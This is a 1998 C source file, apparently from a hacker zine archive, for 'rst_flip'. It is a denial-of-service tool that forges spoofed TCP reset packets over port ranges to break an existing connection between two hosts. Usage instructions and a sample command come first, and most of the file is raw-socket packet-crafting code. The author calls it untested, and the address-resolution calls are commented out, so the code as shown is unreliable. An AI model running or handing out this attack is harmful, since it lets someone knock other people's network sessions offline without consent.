Freaks Macintosh Archive/Freaks Macintosh Archive.bin/Freaks Macintosh Archives/Textfiles/zines/Happle/happle10.sit.hqx/Happle#10/Files/Denial.sit/DoS/rst_flip.c

C/C++ Source or Header | 1998-12-06 | 8KB | 240 lines

/*

rst_flip  1998(C)     [e-mail] - http://www.rootshell.com/

This is a DOS attack against an existing connection where one of the hosts
is a Linux, SunOS, FreeBSD and possibly others. I did not have time to test
this code thoroughly.It's purpose is merely to illustrate that it is
possible to cause a conenction to be dropped by sending a couple of
customized packets to one of the hosts.

The usage is quite simple:

rst_flip <A> <B> <A port low> <A port hi> <B port low> <B port hi>
where A  and B are the hosts currently having a session and you do not want
them to.

To check if your hosts are vulnerable you can use scenario like this: Say
host A (Windows 10.10.3.21) is connected to port 21 of host B (SunOS -
10.10.1.23).  Since it is usually unknown what port A has utilized for this
connection ( it is higher than 1024,most of the time :) we have to consider
the possible range. So you would do:

    rst_flip 10.10.3.21  10.10.1.23  1024  2000   21  21

I am in no way responsible for whatever happens after this point. Do not
laugh at the code because i already know that. I'll work on it later. It
compiles on Linux.

    cc -o rst_flip rst_flip.c


Mad thanks to:         tootin.
Greets to:        l0ck.


*/

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define TCPHDR   sizeof(struct tcphdr)
#define IPHDR    sizeof(struct iphdr)
#define PACKETSIZE  TCPHDR + IPHDR
#define SLEEPTIME 30000                 //     depending on how fast can you barf the packets out
#define LO_RST  1                //
#define HI_RST  2147483647            //     do not ask me about this :)
#define ERROR_FAILURE -1
#define ERROR_SUCCESS 0

void resolve_address(struct sockaddr *, char *, u_short);
unsigned short in_cksum(unsigned short *,int );
int send_rst(char *, char *, u_short ,u_short , u_long, u_long,u_long);



int main(int argc, char *argv[])
{
    int res,i,j;
    int spoof_port,target_port;

        if (argc < 7 || argc> 8 )
        {
        printf ("usage:  <source> <destination> <source_port_hi> <source_port_lo> <dest_port_hi> <dest_port_lo>\n[ http://www.rootshell.com/ ]\n");
        exit(ERROR_FAILURE);
    }

    for (i = atoi(argv[3]);i <= atoi(argv[4]); i++)
    {
        spoof_port = i;

        for (j = atoi(argv[5]);j <= atoi(argv[6]); j++)
        {
                target_port = j;
            printf("%s : %d \t", argv[1],spoof_port);
            printf("-> %s  :%d\n",argv[2], target_port);
            res=send_rst(argv[1],argv[2],spoof_port,target_port, HI_RST, HI_RST, 2);
            usleep(SLEEPTIME);
            res=send_rst(argv[1],argv[2],spoof_port,target_port, LO_RST,LO_RST, 2);
            usleep(SLEEPTIME);
        }

        }
    return ERROR_SUCCESS;
}




// here we put it together
int send_rst(char *fromhost, char *tohost, u_short fromport,u_short toport, u_long ack_sq, u_long s_seq, u_long spoof_id)
{
    int i_result;
    int raw_sock;
    static struct sockaddr_in local_sin, remote_sin;
    struct tpack{
            struct iphdr ip;
            struct tcphdr tcp;
    }tpack;

    struct pseudo_header{                           // pseudo header 4 the checksum
            unsigned source_address;
            unsigned dest_address;
            unsigned char placeholder;
            unsigned char protocol;
            unsigned short tcp_length;
            struct tcphdr tcp;
    }pheader;


    // resolve_address((struct sockaddr *)&local_sin, fromhost, fromport);
        // resolve_address((struct sockaddr *)&remote_sin, tohost, toport);

    // TCP header
    tpack.tcp.source=htons(fromport);              // 16-bit Source port number
        tpack.tcp.dest=htons(toport);                // 16-bit Destination port
    tpack.tcp.seq=ntohl(s_seq);                // 32-bit Sequence Number */
    tpack.tcp.ack_seq=ntohl(ack_sq);            // 32-bit Acknowledgement Number */
        tpack.tcp.doff=5;                    // Data offset */
        tpack.tcp.res1=0;                    // reserved */
        tpack.tcp.res2=0;                    // reserved */
        tpack.tcp.urg=0;                    // Urgent offset valid flag */
        tpack.tcp.ack=1;                    // Acknowledgement field valid flag */
        tpack.tcp.psh=0;                    // Push flag */
        tpack.tcp.rst=1;                    // Reset flag */
        tpack.tcp.syn=0;                    // Synchronize sequence numbers flag */
        tpack.tcp.fin=0;                    // Finish sending flag */
        tpack.tcp.window=0;                    // 16-bit Window size */
        tpack.tcp.check=0;                    // 16-bit checksum (to be filled in below) */
        tpack.tcp.urg_ptr=0;                    // 16-bit urgent offset */

    //  IP header
    tpack.ip.version=4;                         // 4-bit Version */
        tpack.ip.ihl=5;                                // 4-bit Header Length */
        tpack.ip.tos=0;                             // 8-bit Type of service */
        tpack.ip.tot_len=htons(IPHDR+TCPHDR);              // 16-bit Total length */
        tpack.ip.id=htons(spoof_id);                // 16-bit ID field */
        tpack.ip.frag_off=0;                        // 13-bit Fragment offset */
        tpack.ip.ttl=64;                            // 8-bit Time To Live */
        tpack.ip.protocol=IPPROTO_TCP;              // 8-bit Protocol */
        tpack.ip.check=0;                           // 16-bit Header checksum (filled in below) */
        tpack.ip.saddr=local_sin.sin_addr.s_addr;          // 32-bit Source Address */
        tpack.ip.daddr=remote_sin.sin_addr.s_addr;         // 32-bit Destination Address */

        // IP header checksum
    tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);

    // TCP header checksum
    pheader.source_address=(unsigned)tpack.ip.saddr;
        pheader.dest_address=(unsigned)tpack.ip.daddr;
        pheader.placeholder=0;
        pheader.protocol=IPPROTO_TCP;
        pheader.tcp_length=htons(TCPHDR);

    bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);

    tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);


    // Get a socket and send the thing
    raw_sock = socket(AF_INET, SOCK_RAW, 255);
        if (raw_sock==-1)
    {
        perror("can't open a raw socket.");
        exit(ERROR_FAILURE);
        }

    i_result = sendto(raw_sock,&tpack,PACKETSIZE,0,(struct sockaddr *)&remote_sin,sizeof(remote_sin));
    if (i_result != PACKETSIZE)
        perror("error sending packet");

    close(raw_sock);

}




// this is stolen :)
unsigned short in_cksum(unsigned short *ptr,int nbytes){

    register long           sum;            // assumes long == 32 bits
    u_short                 oddbyte;
    register u_short        answer;         // assumes u_short == 16 bits

        sum = 0;
        while (nbytes > 1)  {
                sum += *ptr++;
                nbytes -= 2;
        }

        if (nbytes == 1) {
                oddbyte = 0;                        // make sure top half is zero
                *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only
                sum += oddbyte;
        }

        sum  = (sum >> 16) + (sum & 0xffff);    // add high-16 to low-16
        sum += (sum >> 16);                     // add carry
        answer = ~sum;                // ones-complement, then truncate to 16 bits
        return(answer);
}




//   Resolve the address and populate the sin structs
void resolve_address(struct sockaddr * addr, char *hostname, u_short port)
{
   struct  sockaddr_in *address;
   struct  hostent     *host;

       address = (struct sockaddr_in *)addr;
       (void) bzero( (char *)address, sizeof(struct sockaddr_in) );

       address->sin_family = AF_INET;
       address->sin_port = htons(port);

       address->sin_addr.s_addr = inet_addr(hostname);
       if ((int)address->sin_addr.s_addr == -1) {
            host = gethostbyname(hostname);
            if (host) {
                    bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length);
                    }
            else {
                    puts("Couldn't resolve the address!!!");
                    exit(ERROR_FAILURE);
            }
       }
}